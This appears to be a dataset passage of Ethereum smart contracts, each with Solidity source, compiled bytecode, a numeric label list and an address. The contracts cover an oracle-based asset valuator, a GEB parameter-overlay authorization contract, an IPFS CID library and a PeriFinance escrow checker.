_assetTypeToNumberOfUsesMap[bytesAssetType]; if (numberOfUses == 0) { _allAssetTypes.push(bytesAssetType); } _assetTypeToNumberOfUsesMap[bytesAssetType] = numberOfUses.add(1); _assetIntroducerToAssetTypeToIsSupportedMap[tokenId][bytesAssetType] = true; emit AssetTypeSet(tokenId, assetType, true); } function removeSupportedAssetTypeByTokenId( uint tokenId, string calldata assetType ) onlyOwnerOrGuardian external { bytes32 bytesAssetType = _sanitizeAndConvertAssetTypeToBytes(assetType); require( _assetIntroducerToAssetTypeToIsSupportedMap[tokenId][bytesAssetType], "OffChainAssetValuatorImplV2::addSupportedAssetTypeByTokenId: NOT_SUPPORTED" ); uint numberOfUses = _assetTypeToNumberOfUsesMap[bytesAssetType]; if (numberOfUses == 1) { // We no longer support it. Remove it. bytes32[] memory allAssetTypes = _allAssetTypes; for (uint i = 0; i < allAssetTypes.length; i++) { if (allAssetTypes[i] == bytesAssetType) { delete _allAssetTypes[i]; break; } } } _assetTypeToNumberOfUsesMap[bytesAssetType] = numberOfUses.sub(1); _assetIntroducerToAssetTypeToIsSupportedMap[tokenId][bytesAssetType] = false; emit AssetTypeSet(tokenId, assetType, false); } function setCollateralValueJobId( bytes32 offChainAssetsValueJobId ) public onlyOwnerOrGuardian { _offChainAssetsValueJobId = offChainAssetsValueJobId; } function setOraclePayment( uint oraclePayment ) public onlyOwnerOrGuardian { _oraclePayment = oraclePayment; } function submitGetOffChainAssetsValueRequest( address oracle ) public onlyOwnerOrGuardian { Chainlink.Request memory request = buildChainlinkRequest( _offChainAssetsValueJobId, address(this), this.fulfillGetOffChainAssetsValueRequest.selector ); request.add("action", "sumActive"); request.addInt("times", 1 ether); sendChainlinkRequestTo(oracle, request, _oraclePayment); } function fulfillGetOffChainAssetsValueRequest( bytes32 requestId, uint offChainAssetsValue ) public recordChainlinkFulfillment(requestId) { _offChainAssetsValue = offChainAssetsValue; _lastUpdatedTimestamp = block.timestamp; _lastUpdatedBlockNumber = block.number; emit AssetsValueUpdated(offChainAssetsValue); } // ************************* // ***** Misc Functions // ************************* function oraclePayment() external view returns (uint) { return _oraclePayment; } function lastUpdatedTimestamp() external view returns (uint) { return _lastUpdatedTimestamp; } function lastUpdatedBlockNumber() external view returns (uint) { return _lastUpdatedBlockNumber; } function offChainAssetsValueJobId() external view returns (bytes32) { return _offChainAssetsValueJobId; } function getOffChainAssetsValue() external view returns (uint) { return _offChainAssetsValue; } function getOffChainAssetsValueByTokenId( uint tokenId ) external view returns (uint) { if (tokenId == 0) { return _offChainAssetsValue; } else { revert("OffChainAssetValuatorImplV2::getOffChainAssetsValueByTokenId NOT_IMPLEMENTED"); } } function isSupportedAssetTypeByAssetIntroducer( uint tokenId, string calldata assetType ) external view returns (bool) { bytes32 bytesAssetType = _sanitizeAndConvertAssetTypeToBytes(assetType); return _assetIntroducerToAssetTypeToIsSupportedMap[0][bytesAssetType] || _assetIntroducerToAssetTypeToIsSupportedMap[tokenId][bytesAssetType]; } function getAllAssetTypes() external view returns (string[] memory) { bytes32[] memory allAssetTypes = _allAssetTypes; string[] memory result = new string[](allAssetTypes.length); for (uint i = 0; i < allAssetTypes.length; i++) { result[i] = string(abi.encodePacked(allAssetTypes[i])); } return result; } // ************************* // ***** Internal Functions // ************************* function _sanitizeAndConvertAssetTypeToBytes( string memory assetType ) internal pure returns (bytes32 bytesAssetType) { require( bytes(assetType).length <= 32, "OffChainAssetValuatorImplV2::_sanitizeAndConvertAssetTypeString: INVALID_LENGTH" ); assembly { bytesAssetType := mload(add(assetType, 32)) } } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80634e3f95b5116100c3578063d9caed121161007c578063d9caed1214610298578063e9946f6c146102ab578063ee3a7f1c146102b3578063f2fde38b146102bb578063f772431d146102ce578063fbaf894c146102ee57610158565b80634e3f95b51461024557806352b38f1f14610258578063715018a6146102605780637337b437146102685780638da5cb5b1461027b578063b36733b61461028357610158565b80633cee06c3116101155780633cee06c3146101d1578063439c27d8146101e457806343ccd945146101f7578063452a93201461020a57806347e7ef241461021f578063485cc9551461023257610158565b8063091954cd1461015d5780630c02e130146101725780631c30514b14610190578063229b92f2146101a35780632ec9d21f146101b657806337e0b22d146101be575b600080fd5b61017061016b3660046117a7565b6102f6565b005b61017a61035b565b604051610187919061214b565b60405180910390f35b61017a61019e366004611921565b610361565b6101706101b136600461193f565b61038e565b61017a610453565b6101706101cc36600461195e565b610459565b6101706101df3660046117ff565b6105e9565b6101706101f2366004611921565b61069c565b6101706102053660046117a7565b6106e0565b6102126107da565b6040516101879190612028565b61017061022d3660046118d3565b6107e9565b6101706102403660046117c5565b610847565b61017061025336600461195e565b6108dd565b61017a610ac6565b610170610acc565b610170610276366004611921565b610b02565b610212610b46565b61028b610b55565b604051610187919061212c565b6101706102a6366004611886565b610c45565b610170610c9e565b61017a610ce7565b6101706102c93660046117a7565b610ced565b6102e16102dc36600461195e565b610d46565b604051610187919061213d565b61017a610deb565b6033546001600160a01b031633146103295760405162461bcd60e51b81526004016103209061221a565b60405180910390fd5b6001600160a01b03811661034f5760405162461bcd60e51b81526004016103209061223a565b61035881610df1565b50565b603b5490565b6000816103715750603d54610389565b60405162461bcd60e51b8152600401610320906121ba565b919050565b6000828152603a602052604090205482906001600160a01b031633146103c65760405162461bcd60e51b8152600401610320906121fa565b6000818152603a602052604080822080546001600160a01b03191690555182917f7cc135e0cebb02c3480ae5d74d377283180a2601f8f644edf7987b009316c63a91a2603d82905542603e5543603f556040517f21a8ead0af7cead479ad9bf24d84046f8cab707a12f07f9d0aaad570b842784a9061044690849061214b565b60405180910390a1505050565b603c5490565b6033546001600160a01b031633148061047c57506034546001600160a01b031633145b6104985760405162461bcd60e51b8152600401610320906121ea565b60006104d983838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610e4392505050565b600085815260426020908152604080832084845290915290205490915060ff16156105165760405162461bcd60e51b8152600401610320906121aa565b6000818152604160205260409020548061056057604080546001810182556000919091527f352feee0eea125f11f791c1b77524172e9bc20f1b719b6cef0fc24f64db8e15e018290555b61057181600163ffffffff610e6f16565b600083815260416020908152604080832093909355878252604281528282208583529052819020805460ff1916600190811790915590517f6d52c1196ea1648237b2bf91bbc2ae9cd0385354d893c6883e4df4450bd42aa8916105da918891889188919061225a565b60405180910390a15050505050565b600054610100900460ff16806106025750610602610e9d565b80610610575060005460ff16155b61062c5760405162461bcd60e51b8152600401610320906121ca565b600054610100900460ff16158015610657576000805460ff1961ff0019909116610100171660011790555b6106618787610847565b61066a85610ea3565b603b849055603c829055603d83905542603e5543603f558015610693576000805461ff00191690555b50505050505050565b6033546001600160a01b03163314806106bf57506034546001600160a01b031633145b6106db5760405162461bcd60e51b8152600401610320906121ea565b603b55565b6033546001600160a01b031633148061070357506034546001600160a01b031633145b61071f5760405162461bcd60e51b8152600401610320906121ea565b6107276116ee565b603c5461073c903063114dc97960e11b610ec5565b90506107926040518060400160405280600681526020016530b1ba34b7b760d11b8152506040518060400160405280600981526020016873756d41637469766560b81b81525083610ee79092919063ffffffff16565b60408051808201909152600581526474696d657360d81b60208201526107c8908290670de0b6b3a764000063ffffffff610f1116565b6107d58282603b54610f3b565b505050565b6034546001600160a01b031690565b6033546001600160a01b031633148061080c57506034546001600160a01b031633145b6108285760405162461bcd60e51b8152600401610320906121ea565b6108436001600160a01b03831633308463ffffffff61107a16565b5050565b600054610100900460ff16806108605750610860610e9d565b8061086e575060005460ff16155b61088a5760405162461bcd60e51b8152600401610320906121ca565b600054610100900460ff161580156108b5576000805460ff1961ff0019909116610100171660011790555b6108be836110db565b6108c782610df1565b80156107d5576000805461ff0019169055505050565b6033546001600160a01b031633148061090057506034546001600160a01b031633145b61091c5760405162461bcd60e51b8152600401610320906121ea565b600061095d83838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610e4392505050565b600085815260426020908152604080832084845290915290205490915060ff166109995760405162461bcd60e51b8152600401610320906121da565b6000818152604160205260409020546001811415610a525760408054815160208083028201810184528282526060939192908301828280156109fa57602002820191906000526020600020905b8154815260200190600101908083116109e6575b50939450600093505050505b8151811015610a4f5783828281518110610a1c57fe5b60200260200101511415610a475760408181548110610a3757fe5b6000918252602082200155610a4f565b600101610a06565b50505b610a6381600163ffffffff61112d16565b600083815260416020908152604080832093909355878252604281528282208583529052818120805460ff1916905590517f6d52c1196ea1648237b2bf91bbc2ae9cd0385354d893c6883e4df4450bd42aa8916105da918891889188919061225a565b603d5490565b6033546001600160a01b03163314610af65760405162461bcd60e51b81526004016103209061221a565b610b0060006110db565b565b6033546001600160a01b0316331480610b2557506034546001600160a01b031633145b610b415760405162461bcd60e51b8152600401610320906121ea565b603c55565b6033546001600160a01b031690565b604080548151602080830282018101845282825260609384939091830182828015610b9f57602002820191906000526020600020905b815481526020019060010190808311610b8b575b5050505050905060608151604051908082528060200260200182016040528015610bdd57816020015b6060815260200190600190039081610bc85790505b50905060005b8251811015610c3e57828181518110610bf857fe5b6020026020010151604051602001610c109190611fe1565b604051602081830303815290604052828281518110610c2b57fe5b6020908102919091010152600101610be3565b5091505090565b6033546001600160a01b0316331480610c6857506034546001600160a01b031633145b610c845760405162461bcd60e51b8152600401610320906121ea565b6107d56001600160a01b038416838363ffffffff61116f16565b6033546001600160a01b0316331480610cc157506034546001600160a01b031633145b610cdd5760405162461bcd60e51b8152600401610320906121ea565b610b006000610df1565b603f5490565b6033546001600160a01b03163314610d175760405162461bcd60e51b81526004016103209061221a565b6001600160a01b038116610d3d5760405162461bcd60e51b81526004016103209061222a565b610358816110db565b600080610d8884848080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610e4392505050565b60008181527fd327fab2c0a716e7f0525565ec8298d132c34537d12a273c272d04475ea18f41602052604090205490915060ff1680610de05750600085815260426020908152604080832084845290915290205460ff165b9150505b9392505050565b603e5490565b603480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f9fe65984b511eb7998b3cd481cfd80c807fcc7f28721a790d33c87dc9c87948590600090a35050565b6000602082511115610e675760405162461bcd60e51b81526004016103209061216a565b506020015190565b600082820183811015610e945760405162461bcd60e51b81526004016103209061217a565b90505b92915050565b303b1590565b603780546001600160a01b0319166001600160a01b0392909216919091179055565b610ecd6116ee565b610ed56116ee565b610de08186868663ffffffff61119116565b6080830151610efc908363ffffffff6111d716565b60808301516107d5908263ffffffff6111d716565b6080830151610f26908363ffffffff6111d716565b60808301516107d5908263ffffffff6111f416565b600030603954604051602001610f52929190612002565b60408051808303601f19018152918152815160209283012060395460608701526000818152603a90935281832080546001600160a01b0319166001600160a01b038916179055905190925082917fb5e6e01e79f91267dc17b4e6314d5d4d03593d2ceee0fbb452b750bd70ea5af991a26037546001600160a01b0316634000aea08584610fde8761121a565b6040518463ffffffff1660e01b8152600401610ffc939291906120f6565b602060405180830381600087803b15801561101657600080fd5b505af115801561102a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061104e9190810190611903565b61106a5760405162461bcd60e51b81526004016103209061218a565b6039805460010190559392505050565b6040516110d59085906323b872dd60e01b9061109e90879087908790602401612036565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152611294565b50505050565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000610e9483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611379565b6040516107d590849063a9059cbb60e01b9061109e908690869060240161205e565b6111996116ee565b6111a985608001516101006113a5565b50508284526001600160a01b03821660208501526001600160e01b031981166040850152835b949350505050565b6111e482600383516113df565b6107d5828263ffffffff6114e916565b6000811261120d57611208826000836113df565b610843565b61084382600183196113df565b80516020820151604080840151606085810151608087015151935191956320214ca360e11b9561125b95600095869593949293909291600191602401612079565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091529050919050565b6112a6826001600160a01b0316611503565b6112c25760405162461bcd60e51b81526004016103209061224a565b60006060836001600160a01b0316836040516112de9190611ff6565b6000604051808303816000865af19150503d806000811461131b576040519150601f19603f3d011682016040523d82523d6000602084013e611320565b606091505b5091509150816113425760405162461bcd60e51b81526004016103209061219a565b8051156110d5578080602001905161135d9190810190611903565b6110d55760405162461bcd60e51b81526004016103209061220a565b6000818484111561139d5760405162461bcd60e51b81526004016103209190612159565b505050900390565b6113ad611723565b60208206156113c25760208206602003820191505b506020828101829052604080518085526000815290920101905290565b60178111611406576114008360e0600585901b16831763ffffffff61153a16565b506107d5565b60ff811161143c57611429836018611fe0600586901b161763ffffffff61153a16565b506114008382600163ffffffff61155216565b61ffff811161147357611460836019611fe0600586901b161763ffffffff61153a16565b506114008382600263ffffffff61155216565b63ffffffff81116114ac5761149983601a611fe0600586901b161763ffffffff61153a16565b506114008382600463ffffffff61155216565b67ffffffffffffffff81116107d5576114d683601b611fe0600586901b161763ffffffff61153a16565b506110d58382600863ffffffff61155216565b6114f1611723565b610e948384600001515184855161156b565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906111cf5750141592915050565b611542611723565b610e948384600001515184611617565b61155a611723565b6111cf848560000151518585611662565b611573611723565b825182111561158157600080fd5b846020015182850111156115ab576115ab856115a387602001518786016116c0565b6002026116d7565b6000808651805187602083010193508088870111156115ca5787860182525b505050602084015b602084106115f15780518252601f1990930192602091820191016115d2565b51815160001960208690036101000a019081169019919091161790525083949350505050565b61161f611723565b8360200151831061163b5761163b8485602001516002026116d7565b8351805160208583010184815381861415611657576001820183525b509495945050505050565b61166a611723565b8460200151848301111561168757611687858584016002026116d7565b60006001836101000a03905085518386820101858319825116178152815185880111156116b45784870182525b50959695505050505050565b6000818311156116d1575081610e97565b50919050565b81516116e383836113a5565b506110d583826114e9565b6040805160a08101825260008082526020820181905291810182905260608101919091526080810161171e611723565b905290565b604051806040016040528060608152602001600081525090565b8035610e978161232d565b8051610e9781612341565b8035610e978161234a565b60008083601f84011261177057600080fd5b50813567ffffffffffffffff81111561178857600080fd5b6020830191508360018202830111156117a057600080fd5b9250929050565b6000602082840312156117b957600080fd5b60006111cf848461173d565b600080604083850312156117d857600080fd5b60006117e4858561173d565b92505060206117f58582860161173d565b9150509250929050565b60008060008060008060c0878903121561181857600080fd5b6000611824898961173d565b965050602061183589828a0161173d565b955050604061184689828a0161173d565b945050606061185789828a01611753565b935050608061186889828a01611753565b92505060a061187989828a01611753565b9150509295509295509295565b60008060006060848603121561189b57600080fd5b60006118a7868661173d565b93505060206118b88682870161173d565b92505060406118c986828701611753565b9150509250925092565b600080604083850312156118e657600080fd5b60006118f2858561173d565b92505060206117f585828601611753565b60006020828403121561191557600080fd5b60006111cf8484611748565b60006020828403121561193357600080fd5b60006111cf8484611753565b6000806040838503121561195257600080fd5b60006118f28585611753565b60008060006040848603121561197357600080fd5b600061197f8686611753565b935050602084013567ffffffffffffffff81111561199c57600080fd5b6119a88682870161175e565b92509250509250925092565b6000610e948383611a69565b6119c98161229d565b82525050565b60006119da82612290565b6119e48185612294565b9350836020820285016119f68561228a565b8060005b85811015611a305784840389528151611a1385826119b4565b9450611a1e8361228a565b60209a909a01999250506001016119fa565b5091979650505050505050565b6119c9816122a8565b6119c9816122ad565b6119c9611a5b826122ad565b6122ad565b6119c9816122b0565b6000611a7482612290565b611a7e8185612294565b9350611a8e8185602086016122e0565b611a978161231d565b9093019392505050565b6000611aac82612290565b611ab68185610389565b9350611ac68185602086016122e0565b9290920192915050565b6119c9611adc826122c9565b61230c565b6000611aed8385612294565b9350611afa8385846122d4565b611a978361231d565b6000611b10604f83612294565b7f4f6666436861696e417373657456616c7561746f72496d706c56323a3a5f736181527f6e6974697a65416e64436f6e76657274417373657454797065537472696e673a60208201526e040929cac82989288be988a9c8ea89608b1b604082015260600192915050565b6000611b87601b83612294565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000815260200192915050565b6000611bc0602383612294565b7f756e61626c6520746f207472616e73666572416e6443616c6c20746f206f7261815262636c6560e81b602082015260400192915050565b6000611c05602083612294565b7f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815260200192915050565b6000611c3e604e83612294565b7f4f6666436861696e417373657456616c7561746f72496d706c56323a3a61646481527f537570706f727465644173736574547970654279546f6b656e49643a20414c5260208201526d1150511657d4d5541413d495115160921b604082015260600192915050565b6000611cb4604c83612294565b7f4f6666436861696e417373657456616c7561746f72496d706c56323a3a67657481527f4f6666436861696e41737365747356616c75654279546f6b656e4964204e4f5460208201526b17d25354131153515395115160a21b604082015260600192915050565b6000611d28602e83612294565b7f436f6e747261637420696e7374616e63652068617320616c726561647920626581526d195b881a5b9a5d1a585b1a5e995960921b602082015260400192915050565b6000611d78604a83612294565b7f4f6666436861696e417373657456616c7561746f72496d706c56323a3a61646481527f537570706f727465644173736574547970654279546f6b656e49643a204e4f5460208201526917d4d5541413d495115160b21b604082015260600192915050565b6000611dea603183612294565b7f4f776e61626c654f72477561726469616e3a20554e415554484f52495a45445f81527027aba722a92fa7a92fa3aaa0a92224a0a760791b602082015260400192915050565b6000611e3d602883612294565b7f536f75726365206d75737420626520746865206f7261636c65206f6620746865815267081c995c5d595cdd60c21b602082015260400192915050565b6000611e87602a83612294565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e8152691bdd081cdd58d8d9595960b21b602082015260400192915050565b6000611ed3601f83612294565b7f4f776e61626c654f72477561726469616e3a20554e415554484f52495a454400815260200192915050565b6000611f0c603383612294565b7f4f776e61626c654f72477561726469616e3a3a7472616e736665724f776e657281527239b434b81d1024a72b20a624a22fa7aba722a960691b602082015260400192915050565b6000611f61603283612294565b7f4f776e61626c654f72477561726469616e3a3a7472616e73666572477561726481527134b0b71d1024a72b20a624a22fa7aba722a960711b602082015260400192915050565b6000611fb5601f83612294565b7f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400815260200192915050565b6000611fed8284611a4f565b50602001919050565b6000610de48284611aa1565b600061200e8285611ad0565b60148201915061201e8284611a4f565b5060200192915050565b60208101610e9782846119c0565b6060810161204482866119c0565b61205160208301856119c0565b6111cf6040830184611a46565b6040810161206c82856119c0565b610de46020830184611a46565b6101008101612088828b6119c0565b612095602083018a611a46565b6120a26040830189611a46565b6120af60608301886119c0565b6120bc6080830187611a60565b6120c960a0830186611a46565b6120d660c0830185611a46565b81810360e08301526120e88184611a69565b9a9950505050505050505050565b6060810161210482866119c0565b6121116020830185611a46565b81810360408301526121238184611a69565b95945050505050565b60208082528101610e9481846119cf565b60208101610e978284611a3d565b60208101610e978284611a46565b60208082528101610e948184611a69565b60208082528101610e9781611b03565b60208082528101610e9781611b7a565b60208082528101610e9781611bb3565b60208082528101610e9781611bf8565b60208082528101610e9781611c31565b60208082528101610e9781611ca7565b60208082528101610e9781611d1b565b60208082528101610e9781611d6b565b60208082528101610e9781611ddd565b60208082528101610e9781611e30565b60208082528101610e9781611e7a565b60208082528101610e9781611ec6565b60208082528101610e9781611eff565b60208082528101610e9781611f54565b60208082528101610e9781611fa8565b606081016122688287611a46565b818103602083015261227b818587611ae1565b90506121236040830184611a3d565b60200190565b5190565b90815260200190565b6000610e97826122bd565b151590565b90565b6001600160e01b03191690565b6001600160a01b031690565b6000610e978261229d565b82818337506000910152565b60005b838110156122fb5781810151838201526020016122e3565b838111156110d55750506000910152565b6000610e97826000610e9782612327565b601f01601f191690565b60601b90565b6123368161229d565b811461035857600080fd5b612336816122a8565b612336816122ad56fea365627a7a72315820399640eedd5de255a97e392bd93bfe3f597ea5ed4029ce256362bd2d37a4b31b6c6578706572696d656e74616cf564736f6c634300050d0040
[ 5, 7, 12 ]
0xf31e1df4f24d277073a40161b8f637b88988faa2
pragma solidity 0.6.7; contract GebAuth { // --- Authorization --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "GebAuth/account-not-authorized"); _; } // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); constructor () public { authorizedAccounts[msg.sender] = 1; emit AddAuthorization(msg.sender); } } abstract contract FixedTreasuryReimbursementLike { function modifyParameters(bytes32, uint256) virtual external; } contract MinimalFixedTreasuryReimbursementOverlay is GebAuth { FixedTreasuryReimbursementLike public reimburser; constructor(address reimburser_) public GebAuth() { require(reimburser_ != address(0), "MinimalFixedTreasuryReimbursementOverlay/null-address"); reimburser = FixedTreasuryReimbursementLike(reimburser_); } /* * @notify Modify "fixedReward" * @param parameter Must be "fixedReward" * @param data The new value for the fixedReward */ function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized { if (parameter == "fixedReward") { reimburser.modifyParameters(parameter, data); } else revert("MinimalFixedTreasuryReimbursementOverlay/modify-forbidden-param"); } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806324ba58841461005c57806335b281531461009457806388b9c3da146100bc57806394f3f81d146100e0578063fe4f589014610106575b600080fd5b6100826004803603602081101561007257600080fd5b50356001600160a01b0316610129565b60408051918252519081900360200190f35b6100ba600480360360208110156100aa57600080fd5b50356001600160a01b031661013b565b005b6100c46101f1565b604080516001600160a01b039092168252519081900360200190f35b6100ba600480360360208110156100f657600080fd5b50356001600160a01b0316610200565b6100ba6004803603604081101561011c57600080fd5b50803590602001356102b5565b60006020819052908152604090205481565b3360009081526020819052604090205460011461019f576040805162461bcd60e51b815260206004820152601e60248201527f476562417574682f6163636f756e742d6e6f742d617574686f72697a65640000604482015290519081900360640190fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b6001546001600160a01b031681565b33600090815260208190526040902054600114610264576040805162461bcd60e51b815260206004820152601e60248201527f476562417574682f6163636f756e742d6e6f742d617574686f72697a65640000604482015290519081900360640190fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b33600090815260208190526040902054600114610319576040805162461bcd60e51b815260206004820152601e60248201527f476562417574682f6163636f756e742d6e6f742d617574686f72697a65640000604482015290519081900360640190fd5b816a199a5e195914995dd85c9960aa1b14156103a05760015460408051630fe4f58960e41b8152600481018590526024810184905290516001600160a01b039092169163fe4f58909160448082019260009290919082900301818387803b15801561038357600080fd5b505af1158015610397573d6000803e3d6000fd5b505050506103d7565b60405162461bcd60e51b815260040180806020018281038252603f8152602001806103dc603f913960400191505060405180910390fd5b505056fe4d696e696d616c466978656454726561737572795265696d62757273656d656e744f7665726c61792f6d6f646966792d666f7262696464656e2d706172616da2646970667358221220626caf52d2a3e6526ed972379d2cfe8d982ee84fb222f308d0c3ec2021c85d4f64736f6c63430006070033
[ 38 ]
0xf31E24AeD8eB6Dd2218683B0bCE29Ed3387b16B9
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; library CryptoCocksLib { function getCid(uint id) external pure returns (string memory cid) { string memory batch; if (id <= 2000) { batch = "bafybeiesbbihtfdj3kqbah5642p7drsb6hrzwzksezbgb2t2ojjwgh2k5m"; } else if (id <= 4000) { batch = "bafybeifclnruolpdcsouhmzhnardvpzroxk6qouc53drw4vh2f3zdoouya"; } else if (id <= 6000) { batch = "bafybeihbeszvaoc3exx6ji77g74nyuqmoz2scdykudna3qd6xzgygn36ra"; } else if (id <= 8000) { batch = "bafybeidl3uswhq65hnfvgj6bfahbvdb57y7cxiaelgct6q7raweubcms6u"; } else { batch = "bafybeifx2hrh6mhbpcivo4z53l76uqwc6fth4nf4qah6aow7e62lcka3d4"; } return string(abi.encodePacked("ipfs://", batch, "/")); } }
0x73f31e24aed8eb6dd2218683b0bce29ed3387b16b930146080604052600436106100355760003560e01c80633beaa6ab1461003a575b600080fd5b610054600480360381019061004f919061016d565b61006a565b6040516100619190610277565b60405180910390f35b6060806107d08311610096576040518060600160405280603b8152602001610469603b91399050610130565b610fa083116100bf576040518060600160405280603b81526020016103b8603b9139905061012f565b61177083116100e8576040518060600160405280603b815260200161037d603b9139905061012e565b611f408311610111576040518060600160405280603b81526020016103f3603b9139905061012d565b6040518060600160405280603b815260200161042e603b913990505b5b5b5b80604051602001610141919061024a565b604051602081830303815290604052915050919050565b60008135905061016781610365565b92915050565b600060208284031215610183576101826102fd565b5b600061019184828501610158565b91505092915050565b60006101a582610299565b6101af81856102a4565b93506101bf8185602086016102ca565b6101c881610302565b840191505092915050565b60006101de82610299565b6101e881856102b5565b93506101f88185602086016102ca565b80840191505092915050565b60006102116007836102b5565b915061021c82610313565b600782019050919050565b60006102346001836102b5565b915061023f8261033c565b600182019050919050565b600061025582610204565b915061026182846101d3565b915061026c82610227565b915081905092915050565b60006020820190508181036000830152610291818461019a565b905092915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000819050919050565b60005b838110156102e85780820151818401526020810190506102cd565b838111156102f7576000848401525b50505050565b600080fd5b6000601f19601f8301169050919050565b7f697066733a2f2f00000000000000000000000000000000000000000000000000600082015250565b7f2f00000000000000000000000000000000000000000000000000000000000000600082015250565b61036e816102c0565b811461037957600080fd5b5056fe62616679626569686265737a76616f6333657878366a6937376737346e7975716d6f7a32736364796b75646e6133716436787a6779676e333672616261667962656966636c6e72756f6c706463736f75686d7a686e61726476707a726f786b36716f756335336472773476683266337a646f6f75796162616679626569646c3375737768713635686e6676676a3662666168627664623537793763786961656c676374367137726177657562636d73367562616679626569667832687268366d6862706369766f347a35336c37367571776336667468346e663471616836616f77376536326c636b61336434626166796265696573626269687466646a336b71626168353634327037647273623668727a777a6b73657a6267623274326f6a6a776768326b356da2646970667358221220b36816f242a0496b8d7ceba29d4b7c794261ced89744b4846dc094f07c3365bb64736f6c63430008070033
[ 38 ]
0xf31E4177332b135250fbd986A57C6c488df1c143
/* ___ _ ___ _ | .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___ | _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._> |_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___. * PeriFinance: EscrowChecker.sol * * Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/EscrowChecker.sol * Docs: Will be added in the future. * https://docs.peri.finance/contracts/source/contracts/EscrowChecker * * Contract Dependencies: (none) * Libraries: (none) * * MIT License * =========== * * Copyright (c) 2021 PeriFinance * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.5.16; interface IPeriFinanceEscrow { function numVestingEntries(address account) external view returns (uint); function getVestingScheduleEntry(address account, uint index) external view returns (uint[2] memory); } // https://docs.peri.finance/contracts/source/contracts/escrowchecker contract EscrowChecker { IPeriFinanceEscrow public periFinance_escrow; constructor(IPeriFinanceEscrow _esc) public { periFinance_escrow = _esc; } function checkAccountSchedule(address account) public view returns (uint[16] memory) { uint[16] memory _result; uint schedules = periFinance_escrow.numVestingEntries(account); for (uint i = 0; i < schedules; i++) { uint[2] memory pair = periFinance_escrow.getVestingScheduleEntry(account, i); _result[i * 2] = pair[0]; _result[i * 2 + 1] = pair[1]; } return _result; } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063449d0eb11461003b57806359bd89761461009a575b600080fd5b6100616004803603602081101561005157600080fd5b50356001600160a01b03166100be565b604051808261020080838360005b8381101561008757818101518382015260200161006f565b5050505090500191505060405180910390f35b6100a2610231565b604080516001600160a01b039092168252519081900360200190f35b6100c6610240565b6100ce610240565b6000805460408051631025b3b560e11b81526001600160a01b0387811660048301529151919092169163204b676a916024808301926020929190829003018186803b15801561011c57600080fd5b505afa158015610130573d6000803e3d6000fd5b505050506040513d602081101561014657600080fd5b5051905060005b818110156102285761015d61025f565b6000546040805163da7bd3e960e01b81526001600160a01b03898116600483015260248201869052825193169263da7bd3e992604480840193919291829003018186803b1580156101ad57600080fd5b505afa1580156101c1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525060408110156101e657600080fd5b5080519091508460028402601081106101fb57fe5b6020020152806001602002015184836002026001016010811061021a57fe5b60200201525060010161014d565b50909392505050565b6000546001600160a01b031681565b6040518061020001604052806010906020820280388339509192915050565b6040518060400160405280600290602082028038833950919291505056fea265627a7a72315820adbe823bfde7f9f1072b8b9905b86d212826bfeeb11629cee00de345b0fb08cd64736f6c63430005100032
[ 38 ]
0xf32076011be2bb5ad2fd0bbf749d2037c08d3185
